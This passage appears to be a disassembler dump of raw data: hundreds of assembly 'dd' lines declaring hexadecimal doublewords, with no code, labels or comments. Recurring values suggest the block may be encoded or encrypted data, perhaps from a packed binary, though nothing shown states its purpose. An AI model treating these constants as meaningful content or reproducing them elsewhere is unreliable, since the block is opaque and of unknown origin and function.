		dd 0C082EB16h, 0F5CCB8CBh, 5D04F738h, 0EBB182A5h, 0FD3CC7D8h
		dd 1BD6051Bh, 0A46D8E86h, 4721A7EEh, 69EF3A47h,	3172B37Eh
		dd 7F82A560h, 1B5C6724h, 486BA61Bh, 0A0CC18ABh,	4184A288h
		dd 0D1B403A6h, 2A12EFDDh, 8D366823h, 3F43A6CCh,	903A522Bh
		dd 0D9596823h, 0EC87A864h, 1BCBF857h, 0EB4AD91Ah, 4FE6987h
		dd 553A522Bh, 435E05F6h, 85B01156h, 0D69CEF8Bh,	0E2856B64h
		dd 7911EDE0h, 0CEC9C231h, 0D1CA0D5Bh, 1B8912B7h, 0D074581Ah
		dd 129874AEh, 0E63C06B3h, 978D3A51h, 5E68489Eh,	71D27176h
		dd 1F44BE51h, 0CBF8576Ch, 6BAA1F1Bh, 0D664948h,	43D8EB36h
		dd 7BA38FA5h, 0D0B8923Ch, 0BCFC6101h, 0B7038C89h, 0EF9A29ECh
		dd 1F43CF69h, 0C243D141h, 0A59CF2A3h, 0F73CF6C9h, 9AE299FAh
		dd 4B37A2C0h, 9CBC0938h, 4E4D3C2Fh, 0E52754E0h,	8BFE3A05h
		dd 48AB6695h, 1BD3F0ABh, 0D1F9D91Ah, 88F44A1Ah,	0DBE8A361h
		dd 6E527AF8h, 69673E83h, 0F2EF2CF2h, 2A393291h,	0EC5B1F1Bh
		dd 3A522B12h, 0ED1663F8h, 63E488C7h, 0BA195AD6h, 6F038A19h
		dd 0FB8B294Bh, 0C2AA8C71h, 598A0D7Ah, 12B16AFEh, 4AD91A1Bh
		dd 1A1B8B38h, 0CBF84AD9h, 0FBD7041Bh, 0C6CBEC24h, 0EB952EEDh
		dd 22F5CCD8h, 2AF1CD7Ch, 0E9423A52h, 2FF0918Ah,	0D8EB23F0h
		dd 150001C7h, 79B7D5Dh,	9093FB29h, 69EFC8DBh, 0D7041BCFh
		dd 1BCBF84Ch, 0CC4AD91Ah, 0D37638F5h, 3A522AEFh, 7170D340h
		dd 2FF20DCh, 84942A1h, 0DA191B77h, 0CCC00349h, 0DC1F1BA6h
		dd 330FBA15h, 193A522Bh, 13882E7Eh, 0C823A47Bh,	3269AED3h
		dd 673A3861h, 0F58E8DAEh, 4AD91A1Bh, 0AC43D8EBh, 359D307Dh
		dd 31D371C8h, 52E2A61Bh, 9C27BFD6h, 0FD94DEh, 0EF972CDFh
		dd 1A1BCF69h, 2B0DF158h, 0F55E3A52h, 7AF8C54Eh,	2B0DF158h
		dd 0F55E3A52h, 49436DF6h, 98593AF0h, 767CC1D9h,	50077FE2h
		dd 0D56E0651h, 4AD91A1Bh, 51BCBF8h, 61D0FCD6h, 0AB362B24h
		dd 84F95340h, 994D8658h, 0F5CCC1E2h, 0CAD0FC23h, 0E26C6691h
		dd 0C9A5EC9Fh, 0D23E40A7h, 0A7793A51h, 9754BF78h, 83E7430Ch
		dd 49FA1B6Dh, 189351F8h, 0A6D4DCB1h, 1B17AA61h,	0C5B619D8h
		dd 492947D0h, 559B4327h, 62E349ADh, 51E90BF7h, 22EF5C3Ah
		dd 0BCC7C4E7h, 1BCF69EFh, 0F84AD91Ah, 50041BCBh, 0FCED8223h
		dd 23DF2Ch, 0EB330063h,	571B1BD8h, 522B0EF0h, 4FF45F3Ah
		dd 0DED8EBC4h, 38F5CCE5h, 0C72C53C5h, 0FD4781D4h, 4CD7041Bh
		dd 0F5CCCBF8h, 6AF7FA3Dh, 298A87B4h, 6FB0D1CAh,	0D8EB6330h
		dd 4AD91A1Bh, 3F43A6CCh, 903A522Bh, 96296823h, 69EFE9DAh
		dd 71A0CCCFh, 0A5859B97h, 6A898B16h, 0D00F10B1h, 1BCBF843h
		dd 0F84CD704h, 864D527Ah, 0EAB3B9D7h, 1E1B9231h, 0F52AF5DDh
		dd 0EBAED5C6h, 0DC1F1BD8h, 39F5CC47h, 0BA98FBF6h, 522B330Fh
		dd 7427843Ah, 1E1B921Dh, 0CBF846DDh, 6FAB1E1Bh,	0F938454Ch
		dd 512F1DB6h, 6EADBB7h,	0EBF3C023h, 19A0CCD8h, 254EF3ECh
		dd 1815AC5Fh, 0D8EB4CD7h, 0F1581A1Bh, 3A522B0Dh, 0C54EF55Eh
		dd 581AD8EBh, 2AF3CF7Ah, 0B5443A52h, 583B3679h,	0EF6300FBh
		dd 1E1BCF69h, 0CBF846DDh, 0FD31E1Bh, 3252BA01h,	29E443B8h
		dd 2A79D039h, 714F3A52h, 8E9EFCC6h, 0FEDE4DF9h,	0ED45E08Fh
		dd 0AFED9E24h, 60837F1Ah, 0EA53EA1h, 51B7053h, 0A7551ACCh
		dd 354B2D07h, 6A6D98CBh, 9FA7D667h, 6D36951Ah, 0FB3CF5CCh
		dd 0E9AF9DF6h, 0F8BA837Eh, 0DEC118D3h, 0A6CC8241h, 522B3F43h
		dd 6823903Ah, 1B91AB2Dh, 48C9D31Eh, 0EF78875Ah,	33485AA9h
		dd 7C331739h, 2D058ED8h, 0D14F3396h, 33A09239h,	4FF95138h
		dd 0BD32A042h, 25BEE11Ch, 1BDAE98Eh, 0FED2CC05h, 0E4FE6BCFh
		dd 0D4578975h, 0D83FDA08h, 0AE7140A3h, 5C0F7071h, 0DE921F6Dh
		dd 66CF7216h, 0EF3A4206h, 0CC380B68h, 0AC67ADA0h, 5D0D2F70h
		dd 60B0A704h, 0FF0ACCBAh, 2052A764h, 0B1AB9742h, 8FFC3A51h
		dd 1E1BC7DCh, 823286D3h, 0C6B1BB9Bh, 224CECA0h,	6ACD958Fh
		dd 0C5A38098h, 28E98AE9h, 59D5D4C7h, 0E837F225h, 0E93B0863h
		dd 0DD1E1BDAh, 0C6F52AF5h, 0D8EBAED5h, 0E8FE3FC7h, 0CF69EFDBh
		dd 46DD1E1Bh, 88527AF8h, 8DD82499h, 1BABB8B3h, 2AF5DD1Eh
		dd 0EAC5CCEFh, 0A6CC9231h, 522B3F43h, 6823903Ah, 1E1B8D36h
		dd 338792D3h, 7E2AF09h,	0AC15D3D1h, 3A522B89h, 0DD66C58Ah
		dd 1E1B7053h, 0F972E2D3h, 1704E840h, 0E4C8B177h, 21BB2EEDh
		dd 0DC8F33B5h, 0C5E61FF2h, 0F75B5CBCh, 8CE26F2Dh, 6DB534E7h
		dd 94354FF7h, 0B48EB41Fh, 0F35E3905h, 6A218A7Ah, 0FB705359h
		dd 0CF69EFC8h, 4DD31E1Bh, 0F44FF889h, 8639131Ch, 2A53E049h
		dd 53D83A52h, 0DAE92BF8h, 5C82A0CCh, 0DC8EBF8Eh, 6487821Fh
		dd 1B7053CFh, 0BD0CD31Eh, 0F835852Eh, 93C62B1h,	0BA09F754h
		dd 3FF6C9A8h, 0E19AF5FCh, 0F6CD269Bh, 1E1BDAE9h, 0A0CC46DDh
		dd 0EBDBE031h, 376724B3h, 546F548Ah, 43A6CC6Fh,	3A522B3Fh
		dd 59682390h, 0CC0B98C7h, 2B3F43A6h, 23903A52h,	50962968h
		dd 0A4051B73h, 0D91A176Eh, 0F84AD97Ah, 0EA0CCCBh, 1B69FA9Dh
		dd 3EE0817Ah, 7D1457CFh, 439C659Ah, 39A0C2A0h, 3A51C145h
		dd 253E3D96h, 0A0CCD8EBh, 13B67C5Ah, 0AE903733h, 0FF3A51E9h
		dd 4D3C2F94h, 105009ADh, 0BAC48198h, 2DE8B76Ch,	0EFAC070Ah
		dd 3B06EC06h, 0DCB7BAF9h, 0ECCE916Dh, 9289E25Bh, 53F38C17h
		dd 1B801B7Eh, 871AD704h, 1AA76A91h, 501BDB18h, 0B29C7CF6h
		dd 60526DFh, 0CF69EF7Dh, 4DD6051Bh, 0FD22F5CCh,	4FE240FEh
		dd 0CCD794D7h, 84F18943h, 0FB6B585Bh, 4FB234E2h, 3A521D4Dh
		dd 1F1B06AFh, 0F52BF6DCh, 5F61CBC6h, 0AEE32D8Bh, 3A05BF8h
		dd 681DA0CCh, 4F493EE7h, 19CAD59Ch, 0F01DCCAAh,	0B5B1E664h
		dd 0C6DAB954h, 2B8A1A8Fh, 7E353A52h, 0D80427E3h, 0F0A006F4h
		dd 7340A378h, 1E1BCBF8h, 44DBF5DDh, 413DACD3h, 923A522Bh
		dd 0D4AE1939h, 253A522Bh
		dd 0EBAED5C6h, 3CF5CCD8h, 0AF9DF6FBh, 682BCB21h, 7827949h
		dd 75368D9Bh, 1E051E3Eh, 3564D93Ch, 6E26F5B6h, 0DD1E1BD5h
		dd 43CBF846h, 5F2D48FEh, 0DFE3866Ch, 3015770Ch,	77E1C8C3h
		dd 0B220DBA2h, 81D9B498h, 958B7C6Bh, 0D7CFF3D6h, 153B3CBFh
		dd 648ED0B2h, 0B9B221D7h, 1F1B25BEh, 6DDCF6DCh,	3A522B91h
		dd 990E51CCh, 0F822413Ah, 3A0CCCBh, 31CD0D82h, 98942DDEh
		dd 0F5CCCC57h, 68F5FC23h, 31EA89B6h, 1E1B4F60h,	0D8EB46DDh
		dd 0A6CCE5DEh, 522B3F43h, 6823903Ah, 1B91AB2Dh,	0F847DC1Fh
		dd 496AA77Ah, 1E1B3152h, 0CBF846DDh, 4DD6051Bh,	0A6CCD8EBh
		dd 522B3F43h, 6823903Ah, 0B89ADD59h, 0E38628E9h, 3A522ADFh
		dd 6B20C330h, 0F0D8EB58h, 7E69EFD3h, 2B09F564h,	0F15A3A52h
		dd 51B69FAh, 7AF84DD6h,	454C6FA7h, 0D9FD826Ah, 8CC53B87h
		dd 1F1BF48Fh, 7AF847DCh, 52496AA7h, 0D6051B31h,	1BD8EB4Dh
		dd 7645DA19h, 191BA6CCh, 0A64D6AA8h, 0ACFCF4F5h, 0E57B2646h
		dd 3FC82EFAh, 0AF88EE5Ch, 258E4546h, 0DED8EB8Eh, 0CF69EFE5h
		dd 4DD6051Bh, 0AA19CBF8h, 51BD8EBh, 0A0CC4DD6h,	25350DDBh
		dd 7CD5C689h, 0EFE5DEF3h, 41BCF69h, 0E6B91AD7h,	3679B58Ch
		dd 0AD74583Bh, 0C540373Ch, 0CC099A51h, 0EF495B1Dh, 0A3E4A61h
		dd 9E034F25h, 3A522BA4h, 0DD66C5BAh, 0F7527AF8h, 4EC39553h
		dd 1B9033E8h, 0EB4DD605h, 4FE6987h, 553A522Bh, 0C65E05F6h
		dd 92923407h, 0D2F9051h, 3CD5A3B8h, 0E39EC1h, 0A6CC842Fh
		dd 17DA191Bh, 0A3CABFBCh, 39625F74h, 8988AB66h,	18747526h
		dd 124FED94h, 3798968Fh, 3D9621EAh, 0DED8EB66h,	0CF69EFE5h
		dd 0FCD6051Bh, 849AF325h, 9A399A57h, 0CBF8C2E1h, 1A1B8C37h
		dd 0D8EB4AD9h, 0A6CCAA19h, 7208D8C6h, 51AAFBC7h, 0FDDF4C3Ah
		dd 0F0C8BCFh, 824F609Ah, 808C53B4h, 0EE68226Bh,	0BCC5E623h
		dd 58C128E3h, 9175BF32h, 0F8E2B11Ah, 571B1BCBh,	522B0EF0h
		dd 4FF45F3Ah, 50D8EBC4h, 22F5CC73h, 0A363FEFDh,	0B1806280h
		dd 50332E71h, 522B15E9h, 0E0D663Ah, 0CCCBF875h,	0E9E61FA0h
		dd 908BDC7Ah, 20F334F1h, 7638F5CCh, 522AEFD3h, 70D3403Ah
		dd 145D0E71h, 9DC8438Bh, 719C56Bh, 2FD2435Ch, 8883A460h
		dd 4BC75AD4h, 56999928h, 0C51724A5h, 0AB3DAAFh,	46DD1E1Bh
		dd 1F1BCBF8h, 0D8EB47DCh, 0FAA74E43h, 4C4B93B8h, 0DBFFEF2Ch
		dd 90309466h, 978E23FAh, 8B3E9754h, 976A85A4h, 1F1B5E39h
		dd 0CBF847DCh, 6EAA1F1Bh, 0EB1DA64Dh, 8F0143D8h, 0ABE0CD1Eh
		dd 27F4808Ah, 0D3A0E4A4h, 0DA643F88h, 0CF69EFE9h, 47DC1F1Bh
		dd 1F1BCBF8h, 0F5CC47DCh, 294EC439h, 25EC8768h,	0EF80D1CAh
		dd 2B22E343h, 0FC638707h, 0A0C58EE1h, 474A6DA4h, 7CEB076Ch
		dd 6D794582h, 68378D3h,	0D6DB3FCEh, 460FA419h, 6DF67798h
		dd 69EFA91Ah, 9F5647Eh,	5A3A522Bh, 0CC69FAF1h, 5F639F5h
		dd 0D14DA05Ch, 53F0D38Eh, 527AF8C0h, 1F1BE691h,	0E87B701Bh
		dd 47DC1F1Bh, 9D26D8EBh, 0F8CF69EFh, 5C1E1BCBh,	522B11EDh
		dd 8FD04C3Ah, 0DD36F1D2h, 0D8EBAD76h, 0A6445B43h, 641F8661h
		dd 6C6F3849h, 0F2A27BE5h, 0A6CC15AEh, 0FD8847C6h, 0F4651828h
		dd 3A51BC0Ah, 66FBF05Bh, 5E6007ABh, 0AF3A51BCh,	0F8149F44h
		dd 0DD1E1BCBh, 43D8EB46h, 727DF937h, 0B45D8DAAh, 0DA0D7431h
		dd 9E36D960h, 0EFB11215h, 1E1BCF69h, 0CBF846DDh, 0B2551F1Bh
		dd 545E54BDh, 123012B1h, 5188DBA7h, 9DBF2C3Ah, 0A4DEEB28h
		dd 5F04F7C7h, 1E1BD8EBh, 2B11ED5Ch, 4DF73A52h, 12C1F7A3h
		dd 5DF655D2h, 1AD8EBC6h, 7E69EFA9h, 3D2E6DB3h, 0AA1F1B26h
		dd 6649486Bh, 7AF8360Dh, 4B466DA7h, 1B10B368h, 486BAB1Eh
		dd 7AF818ABh, 444D6EA7h, 0CC13B06Bh, 2B3F43A6h,	23903A52h
		dd 9ADD5968h, 0CCD8EB09h, 211DCCA6h, 723A522Bh,	2BCEB019h
		dd 0B41F3A52h, 0E1E2D2B7h, 9061DE25h, 40D68FA1h, 2FD11B5Dh
		dd 1FC93BAh, 0CBC023DEh, 1F1B51EAh, 2B12EC5Bh, 8633A52h
		dd 1A1BA66Bh, 0D8418D9h, 8132A1CBh, 56CCA0CCh, 9AD40938h
		dd 83294E1h, 0C45B1F1Bh, 0BFC32649h, 103A522Bh,	2618BFA3h
		dd 773A522Bh, 0CCECB71Ch, 54CA23F5h, 8FCFCC27h,	0E102FE91h
		dd 1F1B992Ah, 87EB47DCh, 5AB67AB8h, 0E8A4EA77h,	445F1CB7h
		dd 0C93CF5CCh, 0D4C72C4Bh, 4DB4A6D5h, 85BA8F3Fh, 0A61B9604h
		dd 38C46BF0h, 0D3F08A19h, 1BCF69EFh, 0F847DC1Fh, 5C1E1BCBh
		dd 522B11EDh, 6A09623Ah, 1BD8EBD9h, 0D6F6DC1Fh,	27746D90h
		dd 30534842h, 0B112D8EBh, 0B37E69EFh, 532C3576h, 1E1B0B98h
		dd 7AF846DDh, 2B0DF158h, 0D7F33A52h, 0D15771E5h, 9B50BB7Ch
		dd 0DC1F1B08h, 1BCBF847h, 0CE79571Bh, 3A522AF4h, 7F83E645h
		dd 0BA3A522Bh, 5738397Ah, 9EC141E0h, 0EB159E45h, 0F2816987h
		dd 5C559C19h, 599FA346h, 83F03A51h, 1E1BFB88h, 0D8EB46DDh
		dd 69EFB112h, 8D2C5E7Eh, 832810D8h, 1B1BFB88h, 0CBF84BD8h
		dd 46DD1E1Bh, 1B1BCBF8h, 0D8EB4BD8h, 9E7CC943h,	72CD1839h
		dd 59D0AA0Dh, 3A522A96h, 82F0214Ah, 4B377AFh, 3A522B3Ah
		dd 0BEC3208Bh, 0EF9D26E5h, 76B37E69h, 98532C35h, 43A6CC0Bh
		dd 3A522B3Fh, 59682390h, 0F80D96D9h, 0EBAA19CBh, 0D81B1BD8h
		dd 6987EB4Bh, 522B04FEh, 5F6553Ah, 0CCAA195Eh, 8E44711Dh
		dd 0F2FC3422h, 2BAE90CEh, 69D9F7BDh, 90D352DDh,	7AFDEED1h
		dd 0F80D96F5h, 0DF1587Ah, 483A522Bh, 0BF2CABCCh, 1B1BB7CCh
		dd 0CBF84BD8h, 3F43A6CCh, 903A522Bh, 2BCCB623h,	0AE1D3A52h
		dd 0F85F81E1h, 3A522B06h, 2B7B47F2h, 5FCC3A52h,	0F3908BE8h
		dd 0A0CCD8EBh, 16C9423Fh, 6974279Fh, 0D81B1BBEh, 43A6CC4Bh
		dd 3A522B3Fh, 4B37A290h, 9C3A522Bh, 9AD7942Fh, 0ED4CC609h
		dd 898356F8h, 1DCC0DB6h, 52962A12h, 0AF93361Ch,	220E2Ch
		dd 7EF1D893h, 0B23399Bh, 6C5601DFh, 0BD20E2BCh,	0D22C9D4Eh
		dd 413A4B4Dh, 1941218Ah, 0A3F10823h, 5D9E967Fh,	0E3983B94h
		dd 3CF5CCC0h, 353E00FBh, 526DEE3h, 132B0F09h, 944C253Dh
		dd 13CE150Fh, 4B5813B0h, 6D437350h, 743B4A77h, 7E23F365h
		dd 0CD43AF9Bh, 0A79A64D3h, 80EBF48Fh, 0CEC23A5Ch, 72DB0F49h
		dd 5348AB97h, 0BCE8FF62h, 0B28D38C1h, 0F96082F0h, 3A522B05h
		dd 65FEFD56h, 0B37E69EFh, 263D2E6Dh, 1E1B8C37h,	0D8EB46DDh
		dd 0A6CCAA19h, 522B3F43h, 8E23903Ah, 31924F94h,	0AD71D83Ah
		dd 0D0522943h, 68164273h, 0FA871C7Fh, 890E0AA3h, 0A779482Ah
		dd 65167978h, 0CCCBF83Eh, 0D01B34A0h, 0D0CB0A68h, 652E71B1h
		dd 0A0CCD8EBh, 736B1FA1h, 0F2B8059Ch, 0FC8AE7D5h, 0E0D3AF1Ah
		dd 0C7243A51h, 137A6F2Ch, 0E9ED3C96h, 5FB4701h,	581382FAh
		dd 0AB69371h, 0C24D73AFh, 0C8BA1F5Ch, 195FC1B6h, 71D4C1BAh
		dd 0D2469B01h, 0F5CCD16Ah, 15F9F83Fh, 522BD0B2h, 11B2213Ah
		dd 0AC5F8080h, 49DA1D15h, 1734A0CCh, 9D8F73D6h,	73E03A51h
		dd 0C6B07549h, 0B18F89D5h, 52143C06h, 6D1E8D3Ah, 0D81B1B56h
		dd 0C6ED27FAh, 9033E8CBh, 0F5CCD8EBh, 5D04F738h, 0CCB47FA0h
		dd 0D2FA3DF5h, 0A613FE79h, 4A14078Eh, 0D81B1B21h, 1BCBF84Bh
		dd 0D5F5DD1Eh, 123EB868h, 0B1D2C9F2h, 8643D8EBh, 5BDF805Dh
		dd 0CDE0D49Bh, 0A2833B1Fh, 24E70295h, 0DC00378Fh, 0AB606F2Fh
		dd 67DFEEF1h, 0DFB8854Fh, 69EFB112h, 0DD1E1BCFh, 0CCCBF846h
		dd 0C9B23FA0h, 40D15BBCh, 3DCA5C2h, 7BBC7908h, 1BD8EBA8h
		dd 0EB4BD81Bh, 0CCB112D8h
		dd 0D27539F5h, 3A522AF0h, 7071D241h, 0BF195C0Fh, 0DD1E1B85h
		dd 1BCBF846h, 496AAB1Eh, 370C6748h, 0F243D8EBh,	0EF9E55FDh
		dd 260CB006h, 0AD653C36h, 3EFA878Ah, 389BF4FDh,	3F944643h
		dd 48D3D76Dh, 69EFD3F0h, 0DD1E1BCFh, 0CCCBF846h, 0F9F83FF5h
		dd 4BE0E596h, 0F5CCB78Ch, 9AF5FC23h, 19FF90E1h,	43D8EBAAh
		dd 135FFBFEh, 296A17E3h, 5FC93D5h, 0C7C41FE2h, 8DC51295h
		dd 8B15083h, 0AE7C6012h, 47DD5AB0h, 0CC263D2Eh,	78BA8CA0h
		dd 1EDD14CAh, 1947F157h, 5F1DCCAAh, 4664CE4Dh, 7133C38Dh
		dd 0DC43CEBCh, 0A01E29Fh, 9E734C9Fh, 67C44B22h,	1BCBF8DCh
		dd 0F84AD91Ah, 0A71A1BCBh, 0DA1D1970h, 0BC177879h, 43D8EBE7h
		dd 0B684E155h, 95D33515h, 0BA3D9971h, 0C50BC8C1h, 0ED50241Ah
		dd 6FE92522h, 1E1B6D16h, 8D8914DDh, 0A4EFA76Ah,	0D71C1622h
		dd 0EFE17A7Ch, 0F5CCCF69h, 5C05F639h, 7C6082A5h, 8A3360A1h
		dd 5B682321h, 5919CBF8h, 4B6CA877h, 2FC6D46h, 533A522Bh
		dd 0EB6003F8h, 0DD1E1BD8h, 0B8A0CC46h, 0FE075422h, 0F9F83BF6h
		dd 3E3D96h, 8F225073h, 8D5497h,	0C41FE205h, 0CC576C1Fh
		dd 0F5FC23F5h, 779FB29Ah, 0F0AEDBADh, 867E8EFBh, 714DDD0Ch
		dd 0C2F18846h, 635F0AE8h, 4F3DA3FCh, 0A3FC16E8h, 4B0C673Dh
		dd 0F2BE2BE0h, 0E740F6A4h, 0EFB1125Ch, 8C37CF69h, 46DD1E1Bh
		dd 0F5CCD8EBh, 8801FA3Dh, 0B03BCE7Ah, 0E0748D55h, 0A25E311Dh
		dd 6C1F8081h, 895ED489h, 0E38C978Eh, 47DC1F1Bh,	41BD8EBh
		dd 0CC7B48D7h, 23C1691Dh, 0B8543CC0h, 851C1C05h, 41D66B8Ch
		dd 0D174611Ah, 6AA6BD93h, 2E2D1F98h, 0F775384Fh, 1AA5CD26h
		dd 7E25D605h, 0C343CBF8h, 0A7625642h, 0FBD71818h, 4E13724Ch
		dd 0B368C312h, 0CF6D6A36h, 89B19D1Ah, 283F0EF5h, 0BBE03784h
		dd 3D666318h, 0E72A5186h, 0D79ADD58h, 0D96FFFCh, 713FF5CCh
		dd 0E6B4861Ah, 0A76A096Fh, 0F6324F4Ch, 7AF8DEB5h, 0B99BEB52h
		dd 56CC9DCDh, 0AAB9B211h, 47DC1F1Bh, 1E1BD8EBh,	0A6CC46DDh
		dd 522B3F43h, 0C2BC2B3Ah, 133A522Bh, 0FD94FFB8h, 0C51EE304h
		dd 0C6EB98C6h, 0DFF5244Fh, 88330C1Ch, 1F1BD8EBh, 0A6CC47DCh
		dd 2612DEC6h, 56037F88h, 3A51456Ch, 0E19D4EBDh,	8D9E6387h
		dd 1BA20868h, 1A1B4360h, 49486BA7h, 0EB360D66h,	1B7350D8h
		dd 0F84AD91Ah, 4B70A77Ah, 1A1B3350h, 0C52A7458h, 593042BEh
		dd 51D40EF0h, 1DF45F3Ah, 0DEC1C0E7h, 0A0CCAE85h, 9973C799h
		dd 78B9B2DDh, 7936B696h, 0CF0EBCCEh, 2C43871Ch,	0B5DF8991h
		dd 0C5365F6Dh, 8F9E13Bh, 2D69620h, 52AB392Eh, 8CF296Ah
		dd 0B78AE916h, 4643387Bh, 0DA1B51C5h, 0AC96411Fh, 0FDEFE3B9h
		dd 1FF8DD8Eh, 1E7C6012h, 0A357AAC5h, 0EF14AF6Ch, 77B37E69h
		dd 0BF522D34h, 80631E45h, 1A1BF88Bh, 0A0CC4AD9h, 0D50E9502h
		dd 6935E605h, 0D91A1B40h, 43D8EB4Ah, 2E237325h,	76A57A45h
		dd 0C9C80485h, 0DFC24D35h, 52AF9A8Bh, 0B112EF8Ch, 1BCF69EFh
		dd 26F9D91Ah, 15BC46EEh, 0CA0E7948h, 94876829h,	19CBF8EFh
		dd 0CCD8EBAAh, 52C538F5h, 0ACD5C62Dh, 2C103275h, 97895F20h
		dd 0C23B8468h, 0EB0C9754h, 0CCAA19D8h, 3390391Dh, 0E9D86C53h
		dd 249DA116h, 9431AF8h,	4929820Dh, 0CD47BA76h, 6B08EBA6h
		dd 2ADEE087h, 0C42F3A52h, 7AF8BCC7h, 514A71A7h,	3DF5CC32h
		dd 2AF4CE79h, 0E6453A52h, 702B848Dh, 48FD051h, 8C37CBF8h
		dd 945EA0CCh, 6EFD5DAAh, 414063A3h, 1D14AD5Eh, 0E929F8DAh
		dd 0EBAED5C6h, 5CAB6387h, 61802C5Dh, 0A0CC19AAh, 9BD8372Ch
		dd 720F0CB2h, 0EB9F74B7h, 0EFE9DAD8h, 1A1BCF69h, 70D7F9D9h
		dd 3A522B8Eh, 2AF3CF7Ah, 0E7443A52h, 7B080370h,	5919CBF8h
		dd 3EFA4FC6h, 0FEA556FDh, 1E1BD8EBh, 0CBF846DDh, 0E437350h
		dd 0D3635B84h, 8CE7945Ah, 0F4506CD5h, 9625F101h, 69EFB112h
		dd 0E0A0CCCFh, 792C2CF2h, 0EF10238h, 8BE830D3h,	1B620D90h
		dd 5AFA521Ah, 59A1CB8Ah, 64887413h, 86B6B20h, 0F3EA02EAh
		dd 0EEF328EFh, 292CA795h, 0EBA5BEBDh, 78816987h, 46EF1630h
		dd 7B512D9Ch, 93373A51h, 0ECBD5Dh, 0F4CD26A1h, 5F04F738h
		dd 0B8E01A43h, 0A3CCC7B8h, 24992666h, 658DE165h, 3D35E5BEh
		dd 726FAC72h, 0EF495A11h, 48F3CF69h, 0A3696661h, 483h
		dd 0F738F8C7h, 0C1E299FAh, 0F6DC1F1Bh, 1D42F0DCh, 4282E9CEh
		dd 513AAB97h, 28FFC3Ah,	0C023DE1Dh, 0D8EBB8CBh,	938F2250h
		dd 3D2E9150h, 0DC1F1B26h, 39F5CC47h, 0E398FBF6h, 1B1B0E9Bh
		dd 0C7939451h, 8D662B50h, 0F99D985Fh, 0D8EBC95Ah, 0FA3DF5CCh
		dd 8FA8801h, 8FD51360h,	59A50FD8h, 0B3FCD776h, 0CC4E577Fh
		dd 5F639F5h, 5F83A45Ch,	0C78C54D0h, 72B55101h, 1B747DD6h
		dd 0CBF84360h, 0FC23F5CCh, 0C0E19AF5h, 0CC941F40h, 0FB3CF5h
		dd 0F5CC1E31h, 8504F738h, 0C022243Eh, 0B92B5D97h, 8905E506h
		dd 62A53B40h, 0ED504536h, 8A5286CFh, 1F1B17A4h,	9E3315DCh
		dd 1FBFA8E0h, 9FC041D0h, 51778EE2h, 0EF507117h,	1B1BCF69h
		dd 0CBF84BD8h, 4BD81B1Bh, 6B43D8EBh, 0FFF90F2Eh, 414057DBh
		dd 516EDFE0h, 68826A91h, 0F9F0AB2Fh, 0E1717924h, 3167F055h
		dd 0A2CB2421h, 69EFB112h, 2DA0CCCFh, 0CB86D7E0h, 45BDE497h
		dd 0CBF89122h, 47DC1F1Bh, 1B1BD8EBh, 71D8FAD8h,	3A522B8Dh
		dd 0ED7675DEh, 0FB3CF5CCh, 93DE9DF6h, 0D1601200h, 724D1453h
		dd 69EFEA79h, 0DC1F1BCFh, 1BCBF847h, 17B8511Bh,	84A12756h
		dd 0A0CC54DFh, 0AFF6251Ah, 5F1FDC33h, 0DC1F1B52h, 43D8EB47h
		dd 783D3888h, 0A677E359h, 6B9AFD1Fh, 0FBF3D379h, 0EFD3F072h
		dd 0F5CCCF69h, 5D04F738h, 0CCB57EA1h, 5F639F5h,	1F1B3039h
		dd 82D6F6DCh, 388F22EBh, 0EB7C0704h, 0C65919D8h, 0FD3EF64Bh
		dd 43389BF4h, 0C71DCC20h, 0DE804897h, 0F83E8ADAh, 914DA104h
		dd 0D75C328Ch, 0A0CCA77Ch, 76E1A031h, 3A52148Ch, 164E6EDDh
		dd 0BB7675A8h, 0EFE5DEA8h, 1F1BCF69h, 7AF847DCh, 53486BA7h
		dd 0DC1F1B30h, 2AE7BA15h, 18A70809h, 1BD8EBABh,	0EB47DC1Fh
		dd 0EFE5DED8h, 5919CF69h, 0BD3D2D71h, 5177281Ah, 321A793Ah
		dd 0F4A71304h, 0C6A6CCCFh, 37307D14h, 1F745854h, 28D6A935h
		dd 0EEB534E7h, 906EA4EDh, 2DDE0101h, 0A15674BCh, 4F716173h
		dd 5C0D16E8h, 0F0C6798h, 664AC99Ah, 0F45FD8F6h,	1BCBF81Fh
		dd 2C60551Fh, 0BA711146h, 0D8EB8A19h, 1DCCAA19h, 0DC62D40Ah
		dd 0F6CF9D9Bh, 14C39DDAh, 558C352Ah, 5C5B107Bh,	0C63F32E5h
		dd 6DC65170h, 6387EBD6h, 71B483D2h, 42611A60h, 7FD94DEh
		dd 313073AEh, 93ECF54Eh, 69EFCBD8h, 0D83F5E7Eh,	0A6C6F52Ah
		dd 44374C54h, 0AA1F1B1Fh, 6D464B68h, 0B81B5CD4h, 43A6CCEBh
		dd 3A522B3Fh, 36682390h, 58AD653Ch, 0FBD49DDAh,	45369958h
		dd 22F5CC1Eh, 69BF4FDh,	0AA33E80Bh, 43A6CC01h, 3A522B3Fh
		dd 0F235F190h, 3C2F94EFh, 0F6CDF225h, 386387EBh, 8D71D8AEh
		dd 0DE3A5206h, 0A6F34775h, 193C4744h, 39F5CCAAh, 0AA0D05F6h
		dd 0F5581F28h, 4749C3EBh, 0A17357BFh, 2F3343B8h, 0D3926CDBh
		dd 88E33F50h, 0CBA730EBh, 0FBF639F4h, 18E6E398h, 71444FCEh
		dd 0F8B68DE6h, 486BA77Ah, 95433053h, 4CE67EF6h,	0A9C2F3E4h
		dd 95C99316h, 5DE6E1F8h, 0F83FF5CCh, 82B95E03h,	43A6CCB1h
		dd 3A522B3Fh, 0D4392390h, 0D9F4826Ch, 911A6417h, 4AD91A1Bh
		dd 0CA43D8EBh, 17BDEBFBh, 17E2EDB5h, 0E22BD4B7h, 0B6BF6BF9h
		dd 6AA71A1Bh, 0C674849h
		dd 7DBA7805h, 532F9A74h, 0A43A522Bh, 0F0563D47h, 0EFE38076h
		dd 0F5647E69h, 3A522B09h, 8CF502EFh, 1A9D0F02h,	1BA9BAB1h
		dd 26F9D91Ah, 0B4CFCCEFh, 1A1BCBF8h, 0D8EB4AD9h, 4CD7041Bh
		dd 15BBA0CCh, 464B68AAh, 0FCAC7F6Dh, 50632EEDh,	1AD7041Bh
		dd 0AB668D87h, 1AD71C16h, 6EE8A7B9h, 0EF9B2404h, 1A1BCF69h
		dd 474A71A7h, 0F83C076Ch, 0D91A1BCBh, 4CA0CC4Ah, 2F0BB862h
		dd 192DF9Ch, 3F43A6CCh,	903A522Bh, 37816823h, 264E25F5h
		dd 6FB7F4C5h, 816FF62h,	0F6DC2C2Ch, 5D946F53h, 0E121C08Eh
		dd 366625BEh, 0EFB1128Dh, 1A1BCF69h, 3BA27152h,	35A4DF6Ch
